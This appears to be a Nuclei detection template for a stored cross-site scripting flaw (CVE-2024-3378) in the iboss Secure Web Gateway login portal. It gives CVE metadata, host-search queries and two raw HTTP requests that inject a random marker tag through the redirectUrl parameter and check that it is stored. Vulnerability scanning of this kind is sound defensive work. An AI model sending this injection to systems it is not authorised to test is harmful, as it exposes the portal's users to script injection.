iboss Secure Web Gateway - Stored Cross-Site Scripting

id: CVE-2024-3378

info:
  name: iboss Secure Web Gateway - Stored Cross-Site Scripting
  author: s4e-io
  severity: medium
  description: |
    A cross-site scripting vulnerability has been found in iboss Secure Web Gateway up to version 10.1. The vulnerability affects the /login file of the Login Portal component, where manipulation of the redirectUrl parameter leads to cross-site scripting. The attack can be launched remotely and the exploit has been disclosed to the public.
  impact: |
    Attackers can inject malicious scripts via the redirectUrl parameter in the login portal.
  remediation: |
    Update iboss Secure Web Gateway to version 10.2.0.160 or later.
  reference:
    - https://www.exploit-db.com/exploits/52009
    - https://github.com/modrnProph3t/CVE/blob/main/CVE-2024-3378.md
    - https://vuldb.com/?ctiid.259501
    - https://vuldb.com/?id.259501
    - https://vuldb.com/?submit.310642
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2024-3378
    cwe-id: CWE-79
    epss-score: 0.0554
    epss-percentile: 0.90421
    cpe: cpe:2.3:a:iboss:secure_web_gateway:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: iboss
    product: secure_web_gateway
    shodan-query: html:"iboss-font.css"
    fofa-query: body="iboss-font.css"
    google-query: intext:"iboss-font.css"
  tags: cve,cve2024,iboss,xss,intrusive,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /user_login_submit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        userName={{rand_base(10)}}&x={{rand_base(10)}}&action=login&redirectUrl=</{{randstr}}>

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "Login failed")'
          - 'status_code == 302'
        condition: and
        internal: true

  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(http_2_body, "</{{randstr}}>\"") && contains(http_2_body, "iboss,")'

      - type: status
        status:
          - 200
# digest: 490a00463044022071d2bcbe629fd3ae358a679fe5f7a2ef8d0e6668ca24c210b9913964b99f4bb3022050564db7250577cba4612c658531069ec6c098f8c893d69a58f2250017db6899:922c64590222798bb761d5b6d8e72950